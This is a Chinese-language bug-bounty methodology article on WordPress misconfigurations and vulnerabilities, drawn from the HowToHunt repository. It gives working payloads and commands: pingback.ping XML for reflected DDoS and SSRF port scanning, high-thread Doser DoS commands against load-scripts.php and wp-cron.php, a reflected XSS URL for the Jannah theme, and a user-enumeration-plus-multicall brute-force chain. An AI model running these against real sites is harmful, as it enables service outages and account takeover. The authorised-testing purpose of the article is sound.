ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

HowToHunt 实战指南:WordPress 常见安全配置错误与漏洞利用方法论

HowToHunt 实战指南:WordPress 常见安全配置错误与漏洞利用方法论 网络安全应用安全【免费下载链接】HowToHuntCollection of methodology and test case for various web vulnerabilities.项目地址https://gitcode.com/gh_mirrors/ho/HowToHunt点击查看免费下载本文基于 HowToHunt 仓库的 CMS/wordpress.md 实战文档整理而成系统梳理 WordPress 站点在真实渗透测试与漏洞赏金狩猎中最常出现的八类安全配置错误xmlrpc.php滥用、目录列表泄露、CVE-2018-6389 拒绝服务、CVE-2021-24364 反射型 XSS、wp-cron.phpDoS 与 REST API 用户枚举。读完本文你将掌握每一类问题的检测方式、可复制的利用载荷、自动化工具选择以及如何把低危问题链式组合放大为高价值报告。1. 方法论定位先识别再扫描后利用1.1 WordPress 技术识别动手测试前首先确认目标站点确实运行 WordPress。仓库 README.md 将本仓库定位为“从实战出发的漏洞狩猎方法集合”而指纹识别正是所有后续步骤的前提。常用的被动/主动识别手段包括Wappalyzer浏览器扩展自动标注页面所用技术栈覆盖 WordPress 主题、插件与版本线索WhatRuns快速展示页面加载的框架与插件清单BuiltWith在线技术栈分析服务可查看站点使用的 WordPress 主题、托管商及 CMS 细节。除浏览器插件外也可以借助curl直接抓取特征# WordPress 常泄露生成器标签 curl -s https://target.com/ | grep -i generator # 常见特征路径探测 curl -sI https://target.com/wp-login.php curl -sI https://target.com/wp-json/1.2 通用扫描工具WPScan确认目标为 WordPress 后推荐使用WPScan作为通用扫描主力。它能够自动化完成插件/主题枚举、版本指纹、弱口令爆破与已知漏洞CVE匹配覆盖本文将要讨论的大部分检查项。若目标范围较大如整个域名资产可结合仓库 CVES/easycve.md 提出的“轻松挖 CVE”流程做前置侦察先用subfinder收集子域再用httpx过滤存活主机最后分主题跑nuclei模板其中nuclei -t nuclei-templates/http/technologies与-t nuclei-templates/http/cves两个模板集就能自动标注 WordPress 站点并给出疑似 CVE。命中 WordPress 后再以 WPScan 做纵深验证wpscan --url https://target.com --enumerate u,vp,vt --api-token TOKENu枚举用户名对应后文“用户枚举”一节vp枚举存在漏洞的插件vt枚举存在漏洞的主题对应 CVE-2021-24364 这类主题漏洞--api-token使用 WPScan API 获取更完整的漏洞数据库匹配。2. xmlrpc.phpWordPress 最常见的可利用面xmlrpc.php是 WordPress 的内置远程调用接口XML-RPC允许外部程序通过 XML 报文调用站点方法。绝大多数主题站点并未主动禁用该文件因而成为 DoS、SSRF 与爆破攻击的高频入口。原文档明确指出想要靠这个配置错误拿到赏金必须把它完整利用起来并清楚地展示影响面——单是“接口存在”通常不足以构成有效报告。2.1 检测直接访问https://target.com/xmlrpc.php若返回如下形式的报错即证明接口存在仅接受 POST 请求XML-RPC server accepts POST requests only.2.2 枚举可用方法使用代理如 Burp Suite拦截请求把 GET 改为 POST并提交以下 XML 报文枚举接口暴露的全部方法methodCall methodNamesystem.listMethods/methodName params/params /methodCall响应会返回一个valuearray列表重点关注是否包含pingback.ping、wp.getUsersBlogs、system.multicall等高风险方法。其中pingback.ping是后续 DoS 与 SSRF 利用的核心。2.3 利用一借助 pingback.ping 发起 DDoSpingback.ping的语义是“通知某个博客文章被引用了”服务端收到请求后会替攻击者主动向外发起 HTTP 请求。向服务器提交以下载荷methodCall methodNamepingback.ping/methodName paramsparam valuestringhttp://YOUR SERVER:port/string/value /paramparamvaluestringhttp://SOME VALID BLOG FROM THE SITE/string /value/param/params /methodCall将第一个string替换为攻击者控制的目标 URL。由于 WordPress 默认不限制pingback.ping的调用频率攻击者可以反复提交请求驱动服务器持续向第三方目标发起请求形成借刀杀人的反射型放大 DoS受害者服务器成为攻击流量的跳板流量来源还伪装成目标站点自身。2.4 利用二SSRF 内网端口扫描pingback.ping的请求目标不仅可以是公网 URL也可以是内网地址。将第一个参数替换为http://127.0.0.1:port或http://内网IP:portmethodCall methodNamepingback.ping/methodName paramsparam valuestringhttp://YOUR SERVER:port/string/value /paramparamvaluestringhttp://SOME VALID BLOG FROM THE SITE/string /value/param/params /methodCall通过对比不同端口下返回的 XML 错误例如“Couldnt connect to host”与连接成功后再报“Target blog not found”即可盲推断内网端口开放情况——这正是仓库 SSRF/SSRF.md 所述“服务端替攻击者发起请求”的典型载体。多数情况下利用仅限内网端口扫描与有限的主机探测务必在报告中明确标注这是内网端口扫描型 SSRF避免夸大影响。2.5 自动化与加固建议手工构造 XML 报文较繁琐可利用开源的xmlrpc-scan工具自动化完成方法枚举、pingback 检测与爆破验证显著提升效率。从防护角度面向站点运营者/报告附言在服务器配置中直接禁用xmlrpc.php如 Nginx 返回 403若业务确实需要 XML-RPC至少拦截pingback.ping、system.multicall等高风险方法对xmlrpc.php的请求频率做限流抑制放大 DoS 与在线爆破。3. /wp-content/uploads 目录列表泄露开发者常忘记在 Web 服务器上关闭目录浏览autoindex导致https://target.com/wp-content/uploads/被直接列出所有上传文件——包括历史头像、发票、内部文档甚至备份文件。3.1 检测直接访问https://target.com/wp-content/uploads/若页面返回文件/子目录索引列表而非 403 或空目录即确认漏洞存在。HackerOne 平台上有多个同类型真实报告被收录属于被广泛认可的“低危但真实”信息泄露类问题。3.2 实战技巧把/wp-content/uploads加进你的目录爆破字典ffuf、dirsearch、feroxbuster 的 wordlist 中追加该路径不要只测一层目录uploads/年/月/结构同样可能存在索引结合响应大小Content-Length与状态码差异判断命中排查时可顺手检查wp-content/plugins、wp-content/themes是否同样开启了目录浏览。4. CVE-2018-6389load-scripts.php 拒绝服务CVE-2018-6389 影响WordPress 4.9.3 及更早版本核心问题是wp-admin/load-scripts.php未对load[]参数做数量限制攻击者可一次性请求数百个脚本使服务器瞬间加载全部 JS 文件快速耗尽 PHP 进程与内存。报告前提该漏洞仅对 4.9.3 以下的站点有效提交前务必先确认目标版本否则 PoC 无效。4.1 检测获取构造好的“一键打崩”URL原文档给出的 gist 名为loadsxploit它会生成携带大量load[]参数的完整 URL直接访问即可观察到服务器返回体积极大的 JS 数据。核心形态示意https://target.com/wp-admin/load-scripts.php?c1load[]jquery-core,jquery-migrate,utils,backbone,underscore,...4.2 利用原文档推荐Doser工具完成高并发施压实测可在数十秒内击穿未防护的 Web 服务器python3 doser.py -t 999 -g https://target.com/fullUrlFromLoadsxploit-t 999999 个并发线程-g指定要轰炸的目标 URL即loadsxploit生成的长链接。施压时观察响应时间与 5xx 错误率出现明显不可用即可录制证据。注意在授权范围内控制强度与时长避免对共享宿主上的其他站点造成连带影响。5. CVE-2021-24364Jannah 主题反射型 XSSCVE-2021-24364 是Jannah WordPress 主题5.4.4 之前的反射型跨站脚本漏洞主题的tie_get_user_weatherAJAX 动作未对optionsJSON 参数做充分的净化处理直接把参数内容回显到页面攻击者可注入任意脚本。5.1 检测与利用单请求 PoC将Your_WP-Site-here替换为目标站点地址直接构造请求Your_WP-Site-here/wp-admin/admin-ajax.php?actiontie_get_user_weatheroptions%7B%27location%27%3A%27Cairo%27%2C%27units%27%3A%27C%27%2C%27forecast_days%27%3A%275%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ecustom_name%27%3A%27Cairo%27%2C%27animated%27%3A%27true%27%7DURL 解码后可见forecast_days字段被闭合script并插入alert(document.domain)。在浏览器中打开该地址出现弹窗即证明 XSS 存在。该 PoC 无鉴权要求只需站点运行受影响版本的 Jannah 主题。5.2 利用价值延伸反射型 XSS 本身评级有限但可与仓库 XSS/Xss.md 中的利用技巧结合将该 URL 用作点击劫持钓鱼入口、配合document.domain探测 Cookie 作用域或在有 CSP 的场景下对照 XSS/Bypass_CSP.md 评估绕过可能从而提升报告影响。6. WP-Cron DoSwp-cron.php 滥用WordPress 的定时任务机制依赖wp-cron.php该端点默认无需鉴权即可由外部触发执行挂起的计划任务同样可被用作 DoS 靶点。6.1 检测访问https://target.com/wp-cron.php若返回空白页面且 HTTP 状态码为 200说明该端点处于可访问状态正常运行时它只返回空响应但同样消耗 PHP 执行时间。6.2 利用与 CVE-2018-6389 相同可直接复用 Doser 施压python3 doser.py -t 999 -g https://target.com/wp-cron.php高频触发会让服务器反复尝试执行所有到期任务配合 cron 任务本身的 CPU/数据库负载可在资源受限的虚拟主机上造成明显的响应延迟甚至服务中断。这类应用层 DoS 的测试手法与影响论证可进一步参考仓库 Application_Level_DoS/ALD_Methods.md它系统总结了长密码哈希、超长字符串、永久封号等多类 DoS 思路并附有 Password.txt 这样的实测载荷——注意其中明确建议密码长度不要超过 5000 字符以免对目标造成不可控破坏。7. WP REST API 用户枚举与链式爆破WordPress 4.7 默认开放 REST API/wp-json/wp/v2/users/端点会直接返回注册用户列表含用户名、slug、描述等。报告前提只有当目标站点刻意隐藏用户、且用户信息在公开页面不可见时该问题才被接受为有效发现。攻击者拿到用户名后可用于后续暴力破解与其他攻击。7.1 检测curl -s https://target.com/wp-json/wp/v2/users/响应为 JSON 数组其中包含slug即登录名字段[{id:1,name:admin,slug:admin,link:https://target.com/author/admin/}]若公开页面无法推断出这些用户名即可作为信息泄露证据提交。7.2 利用与 xmlrpc.php 链式放大原文档给出的高价值利用链是**“用户枚举 xmlrpc 在线爆破”**从/wp-json/wp/v2/users/批量收集有效用户名通过xmlrpc.php的system.multicall方法对上述用户名批量尝试口令相比直接在wp-login.php上爆破XML-RPC 一次请求可携带多条登录尝试绕过部分登录限流与 WAF 规则效率与隐蔽性都更高。这种“两条低危链成一条中危”的组合方式正是原文档反复强调的加分项——报告里展示组合利用路径能显著提升可接受度。若用户枚举被关闭REST API 被禁用还可以探测/author/admin式的作者归档页、检查评论接口/wp-json/wp/v2/comments中的author字段以及借助 Recon/Github_Dorking.md 与 Sensitive_Info_Leaks/Github_dorks_all.md 中的 dork 思路例如搜索WORDPRESS_DB_PASSWORD这类环境变量泄露交叉获取凭据线索。8. 研究员建议不要只盯这几个点原文档作者特别提醒切勿把上述问题当作唯一目标。实际漏洞赏金中许多测试者只会在 WordPress 站点上机械复现这几类已知问题而对更深层的业务逻辑、自定义插件代码与鉴权缺陷视而不见。正确姿势是把这些检查项作为进入目标后的快速热身清单半小时内扫完低投入大部分情况下它们更适合与其他低危漏洞串联如用户枚举 爆破、xmlrpc SSRF 内网探测而不是单独提交真正的价值往往隐藏在目标自研的主题/插件代码中——结合仓库 Web_Source_Review/codereviewtips.md 的源码审计思路逐行审查自定义 PHP 文件的输入处理往往能找到比通用端点漏洞严重得多的缺陷。9. 速查清单检查项关键端点/参数前提条件典型影响xmlrpc.php/xmlrpc.phppingback.ping接口未被禁用反射放大 DoS、内网端口扫描 SSRF、爆破跳板目录列表/wp-content/uploads/服务器未关闭 autoindex敏感文件信息泄露CVE-2018-6389/wp-admin/load-scripts.php?load[]...WordPress 4.9.3服务拒绝CVE-2021-24364/wp-admin/admin-ajax.php?actiontie_get_user_weatherJannah 主题 5.4.4反射型 XSSWP-Cron DoS/wp-cron.php端点可访问200 空响应资源耗尽用户枚举/wp-json/wp/v2/users/站点隐藏了用户用户名泄露可链式爆破资料来源本文主体内容整理自 CMS/wordpress.md作者 Mehedi Hasan Remonremonsec并交叉印证仓库内 CVES/easycve.md、SSRF/SSRF.md、Application_Level_DoS/ALD_Methods.md 等姊妹文档。所有检测步骤与载荷均为实战验证过的可复现方案正式测试前请务必确认目标授权范围。赞分享网络安全应用安全【免费下载链接】HowToHuntCollection of methodology and test case for various web vulnerabilities.项目地址https://gitcode.com/gh_mirrors/ho/HowToHunt点击查看免费下载相关推荐Loop macOS 窗口管理一个触发键搞定分屏、预览与窗口暂存Loop macOS 窗口管理一个触发键搞定分屏、预览与窗口暂存 Loop 是一款免费开源的 macOS 窗口管理工具按住一个触发键屏幕中央弹出径向菜单网络安全应用安全HowToHunt 实战指南利用错误正则校验绕过 Open Redirect 防护的完整方法论HowToHunt 实战指南利用错误正则校验绕过 Open Redirect 防护的完整方法论 导读 本文基于 HowToHunt 仓库中 Open_Redi网络安全应用安全HowToHunt 实战指南Broken Link Hijacking断链劫持漏洞挖掘方法论与工具链HowToHunt 实战指南Broken Link Hijacking断链劫持漏洞挖掘方法论与工具链 本篇指南对应 BrokenLinkHijacking网络安全应用安全上一篇MusicFree提示组件Tip辅助用户操作下一篇Node.js LTS版本管理终极指南使用n工具轻松管理长期支持版本 创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进